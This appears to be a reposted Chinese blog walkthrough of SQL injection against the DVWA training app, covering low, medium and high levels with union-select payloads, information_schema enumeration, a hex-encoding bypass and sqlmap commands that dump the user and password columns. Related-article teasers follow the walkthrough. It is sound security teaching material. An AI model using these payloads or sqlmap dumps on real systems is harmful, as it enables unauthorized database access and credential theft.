SQL Injection

SQL Injection

就是通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段。

SQL注入分类

数字型     
字符型    
报错注入   
Boollean注入      
时间注入

SQL注入思路

(1).判断是否存在注入,注入是字符型还是数字型(2).猜解SQL查询语句中的字段数 order by(3).确定回显位置    union select (4).获取当前数据库(5).获取数据库中的表(6).获取表中的字段名(7).得到数据

SQL注入绕过方法

(1)注释符号绕过         (2)大小写绕过         (3)内联注释绕过(4)特殊编码绕过         (5)空格过滤绕过       (6)过滤or and xor not 绕过

知识点

version()              数据库版本
database()             数据库名字
user()                 数据库用户

在mysql中存在一个自带的数据库,information_schema,他是一个存储记录所有数据库名,表名,列名的数据库,通过查询他获取指定数据库下面的表名和列名信息

information_schema.table  记录所有表名信息的表
information_schema.column 记录所有列名信息的表
table_name                表名
columns_name              列名

low级别

查看源码

在这里插入图片描述

(1)判断注入类型,

在这里插入图片描述

输入1后,结果如下

在这里插入图片描述

输入2后,结果如下

在这里插入图片描述

输入1’后报错

image-20230805095510006

猜出到是字符型注入,我们继续输入1’ and ‘1’ ='1

image-20230805095528458

(2)判断字段数 order by

输入1’ order by 1#

在这里插入图片描述

输入1’ order by 2# 也没有报错

在这里插入图片描述

输入1’ order by 3#时报错了,说明字段只有2列

image-20230805095654016

**(3)判断回显位置 **

1' union select 1,2#

在这里插入图片描述

可以知道回显位置 在这二个地方

(4)判断数据库

1' union select 1,database()#

在这里插入图片描述

(5)获取表名

1' union select 1,group_concat(table_name) from  information_schema.tables where table_schema=database()#

在这里插入图片描述

**(6)获取字段名 **

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述

(7)获取数据

1' union select user,password from users # 

在这里插入图片描述

medium级别

(1)判断注入类型 我们可以看到无法输入数字,所以我们进行抓包在bp中进行SQL注入

在这里插入图片描述

输入id=1’ and ‘1’='1看见报错了

在这里插入图片描述

输入id=1 and 1=1没有报错

在这里插入图片描述

所以注入类型为数字类型

(2)判断列数

image-20230805101110899

在这里插入图片描述
在这里插入图片描述

所以列数为2列

(3)判断回显位置

在这里插入图片描述

回显位置为2

(4)判断数据库

在这里插入图片描述

(5)判断表名

1  union select 1,group_concat(table_name) from  information_schema.tables where table_schema=database()#

在这里插入图片描述

(6)判断列名

我们输入users之后,发现没有如何反应

通过源代码我们可以知道,发现它对单引号进行了转义,我们采用16进制绕过,得知users的十六进制为 0x75736572
在这里插入图片描述

1  union select 1,group_concat(column_name) from information_schema.columns where table_schema=0x75736572#

在这里插入图片描述

(7)获取数据

id=1 union select user,password from users#

在这里插入图片描述

high级别

(1)判断注入类型

输入1’ and ‘1’=2’
在这里插入图片描述

判定是字符型注入

(2)判断字段数

1’ order by 1#

image-20230805102125146

1’ order by 2#

在这里插入图片描述

在输入 1’ order by 3# 时报错

在这里插入图片描述

(3)判断回显位置

1' union select 1,2#

在这里插入图片描述

(4) 获取数据库

1' union select 1,database()#

在这里插入图片描述

(5)获取表名

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述

(6)获取字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述

(7)获取数据

1' union select user,password from users#

在这里插入图片描述

报错解决

sql注入联合查询时返回报错信息 “Illegal mix of collations for operation ‘UNION’ ”

出现这个问题的原因是因为union字符规则不一致导致


解决:

进入数据库管理后台

在这里插入图片描述

image-20230729134351278

SQL Injection(Blind)

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等。

Sqlmap采用了以下5种独特的SQL注入技术

1、基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
2、基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
4、联合查询注入,在可以使用Union的情况下注入
5、堆查询注入,可以同时执行多条语句时的注入

Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。

sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!

基本步骤

查看sqlmap相关参数以及用法,命令格式为:sqlmap -h找到一个可利用的网址,判断网站数据库类型,命令格式为:sqlmap -u确定数据库类型为mysql后,查看存在的数据库,命令格式为:sqlmap -u 目标网址–dbs查看数据库中存在的表,命令格式为:sqlmap -u 目标网址–tables -D 数据库名获取表中的字段,命令格式为:sqlmap -u 目标网址– columns -T 表名 -D 数据库名猜解出字段,查看表里的存储内容,命令格式为:sqlmap -u 目标网址– dump -C 字段名称 -T 表名 -D 数据库名
sqlmap需要我们输入参数,其中最重要的参数是SQL注入的目标地址。首先要判断测试的目标地址是否需要登录,如果需要登录,则将登陆的Cookie作为参数传递给sqlmap。python sqlmap.py -u “目标地址” --cookie=“cookie值” --batch–batch用来指明自动化操作,否则每一个步骤都需要确认;
–current-bd查看当前数据库名称
-D DB 指定要枚举的 DBMS 数据库
-T TBL 指定要枚举的 DBMS 数据表
-C COL 指定要枚举的 DBMS 数据列
-X EXCLUDECOL 指定要排除的 DBMS 数据列
-U USER 指定枚举的 DBMS 用户

LOW级别

浏览器抓包

在这里插入图片描述

也可以用bp截取cookie信息

在这里插入图片描述

sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=8fkivqb2c1oaqmugqcka4mkgma"

在这里插入图片描述

开始暴库

sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=14e25onisogeuh3n3mlfkegd9s"  --dbs --batch

在这里插入图片描述

暴表名

sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=14e25onisogeuh3n3mlfkegd9s" -D 'dvwa'  --tables --batch# -D 要爆破的数据库名
# --tables 暴表名

在这里插入图片描述

暴字段

sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=8fkivqb2c1oaqmugqcka4mkgma" -D dvwa -T users --columns --batch# -D 要爆破的数据库名
# -T 要爆破的表名
# --columns 暴字段名

在这里插入图片描述

获取用户和密码

sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=14e25onisogeuh3n3mlfkegd9s" -D 'dvwa' -T 'users' -C 'user,password' --dump #  -C   'user,password'   要爆破的字段
# --dump 导出数据库 

在这里插入图片描述

Medium级别

bp抓包,发现是post请求携带参数提交的数据,需要使用 --data 参数把数据引入过来

在这里插入图片描述

爆破数据库

sqlmap "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/#" --cookie "security=medium; PHPSESSID=ejqjhrcjdf2em40du4bru9l96n" --data "id=1&Submit=Submit" --dbs --batch

在这里插入图片描述

爆破数据库的表

sqlmap "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/#" --cookie "security=medium; PHPSESSID=ejqjhrcjdf2em40du4bru9l96n" --data "id=1&Submit=Submit" -D dvwa --tables --batch

在这里插入图片描述

爆破表的字段

sqlmap "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/#" --cookie "security=medium; PHPSESSID=ejqjhrcjdf2em40du4bru9l96n" --data "id=1&Submit=Submit" -D dvwa -T users --columns --batch

在这里插入图片描述

获取用户和密码

sqlmap "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/#" --cookie "security=medium; PHPSESSID=ejqjhrcjdf2em40du4bru9l96n" --data "id=1&Submit=Submit" -D dvwa -T users -C user,password  --dump

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/40262.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

记一次前端直接上传图片到oss报错

前端直接上传图片到阿里云oss,相关过程官网和网上资料已经很详细,不做赘述。 但这个过程比较复杂,前后端对接过程中很容易出现报错,这里遇到了以下报错,不容易排查。 请求显示net::ERR_NAME_NOT_RESOLVED错误,catch输…

如何在windows电脑安装多个tomcat服务器和乱码问题

前提条件安装jdk 以17版本为例,将jdk8卸载干净 1.首先进入tomcat官网下载 tomcat网址 这里下载tomcat10为例子 1.1 这里选择方式一 下载解压版 2.解压后拷贝三份 分别命名为 8081、 8082、 8083 3.分别对每个tomcat执行以下操作 3.1 找到tomcat所在webapps文…

LeetCode[56]合并区间

难度:Medium 题目: 以数组 intervals 表示若干个区间的集合,其中单个区间为 intervals[i] [starti, endi] 。请你合并所有重叠的区间,并返回 一个不重叠的区间数组,该数组需恰好覆盖输入中的所有区间 。 示例 1&…

Android Studio Giraffe控制台乱码

这几天在使用Android Studio Giraffe进行一个App的开发,在项目构建的时候,控制台输出中文都是乱码,看着很不爽,进行了两项配置,中文就可以正常输出了,看起来就爽多了。 第一个配置:点击Help菜单…

Redis对象和五种常用数据类型

Redisobject 对象 对象分为键对象和值对象 键对象一般是string类型 值对象可以是string,list,set,zset,hash q:redisobj的结构 typedef struct redisObject { //类型 unsigned type:4; //编码 unsigned encoding:4; //指向底层实现…

炒股票怎么加杠杆_融资融券账户怎么开通

炒股票作为一种投资方式,可以带来不错的回报。然而,对于那些希望以较小的资金获得更高收益的投资者来说,加杠杆炒股票是一个值得考虑的选择。本文将为您介绍加杠杆炒股票的意义,以及如何开通融资融券账户。 加杠杆炒股票的意义&a…

Centos8安装docker并配置Kali Linux图形化界面

鉴于目前网上没有完整的好用的docker安装kali桌面连接的教程,所以我想做一个。 准备工作 麻了,这服务器供应商提供的镜像是真的纯净,纯净到啥都没有。 问题一:Centos8源有问题 Error: Failed to download metadata for repo ap…

STM32 FLASH 读写数据

1. 《STM32 中文参考手册》,需要查看芯片数据手册,代码起始地址一般都是0x8000 0000,这是存放整个项目代码的起始地址 2. 编译信息查看代码大小,修改代码后第一次编译后会有这个提示信息 2.1 修改代码后编译,会有提示…

python3.73安装教程,python3.10安装教程

大家好,小编来为大家解答以下问题,python3.73安装教程,python3.10安装教程,现在让我们一起来看看吧! Python目前已支持所有主流操作系统,在Linux,Unix,Mac系统上自带Python环境,一般默认装的是P…

你敢信?代码小白30min就能搭建一套酷炫级的驾驶舱!

大量研究结果表明,人类通过图像获取信息的速度比通过阅读文字获取信息的速度要快很多。 近几年,数据可视化在企业中越发“流行”,将数字以可视化的形式展示,不仅清晰明了地展现企业真正的实力,也能让管理者快速了解细节…

Linux6.39 Kubernetes Pod控制器

文章目录 计算机系统5G云计算第三章 LINUX Kubernetes Pod控制器一、Pod控制器及其功用二.pod控制器有多种类型1.ReplicaSet2.Deployment3.DaemonSet4.StatefulSet5.Cronjob 三、Pod与控制器之间的关系1.Deployment2.SatefulSet1)为什么要有headless2)为…

gulimall-缓存-缓存使用

文章目录 前言一、本地缓存与分布式缓存1.1 使用缓存1.2 本地缓存1.3 本地模式在分布式下的问题1.4 分布式缓存 二、整合redis测试2.1 引入依赖2.2 配置信息2.3 测试 三、改造三级分类业务3.1 代码改造 四、高并发下缓存失效问题4.1 缓存穿透4.2 缓存雪崩4.3 缓存击穿 五、分布…

Talk | ICCV‘23 HumanMAC:简洁易拓展的人体动作预测新框架

​ 本期为TechBeat人工智能社区第522期线上Talk! 北京时间8月16日(周三)20:00,清华大学博士生—陈凌灏的Talk已准时在TechBeat人工智能社区开播! 他与大家分享的主题是: “HumanMAC-简洁易拓展的人体动作预测新框架”,介绍了人体动…

linux 学习————LNMP之分布式部署

目录 一、概述 二、LNMP环境部署 三、配置nginx 四、 配置php使nginx能够解析.php 五、配置mysql 六、配置discuz进行登录论坛访问测试 一、概述 LNMP代表 Linux、Nginx、MySQL、PHP,是一种常用的服务器架构。它由以下组件组成: Linux:作…

【js】js中apply()、bind()、call()用法

这三个方法的作用基本上相同,用法上有一些不同,下面先对比一下它们的用法: apply:调用一个具有给定 this 值的函数,以及以一个数组(或一个类数组对象)的形式提供的参数。 语法: ap…

Metasploitable2靶机漏洞复现

一、信息收集 nmap扫描靶机信息 二、弱口令 1.系统弱口令 在Kali Linux中使用telnet远程连接靶机 输入账号密码msfadmin即可登录 2.MySQL弱口令 使用mysql -h 靶机IP地址即可连接 3.PostgreSQL弱密码登录 输入psql -h 192.168.110.134 -U postgres 密码为postgres 输入\…

unity中导入自定义模型

unity中导入自定义模型 准备软件步骤1从SoildWorks中导出模型为STEP格式2将STEP格式文件导入到3DS Max中,再导出为FBX格式3将FBX格式导入至unity中 准备软件 需要SoildWorks、3DS Max和Unity 3D软件步骤 1从SoildWorks中导出模型为STEP格式 2将STEP格式文件导入到…

【数据结构】 List与顺序表及接口的实现

文章目录 什么是List常见接口介绍线性表顺序表顺序表接口的实现add在末尾新增元素在 pos 位置新增元素判定是否包含某个元素查找某个元素对应的位置获取 pos 位置的元素给 pos 位置的元素设为 value删除第一次出现的关键字key获取顺序表的长度清空顺序表 顺序表的优缺点优点&am…

Qt应用开发(基础篇)——滚屏区域基类 QAbstractScrollArea

一、前言 QAbstractScrollArea滚屏区域抽象类继承于QFrame,QFrame继承于QWidget,是QListview(列表浏览器)、QTableview(表格浏览器)、QTextEdit(文本编辑器)、QTextBrowser(文本浏览器)等所有需要滚屏区域部件的抽象基类。 框架类QFrame介绍 QAbstractSc…

java之juc二

JMM 请你谈谈对Volatile的理解 Volatile是jvm提供的轻量级的同步机制(和synchronized差不多,但是没有synchronized那么强大) 保证可见性不保证原子性禁止指令重排 什么是JMM JMM:java内存模型,不存在的东西&#…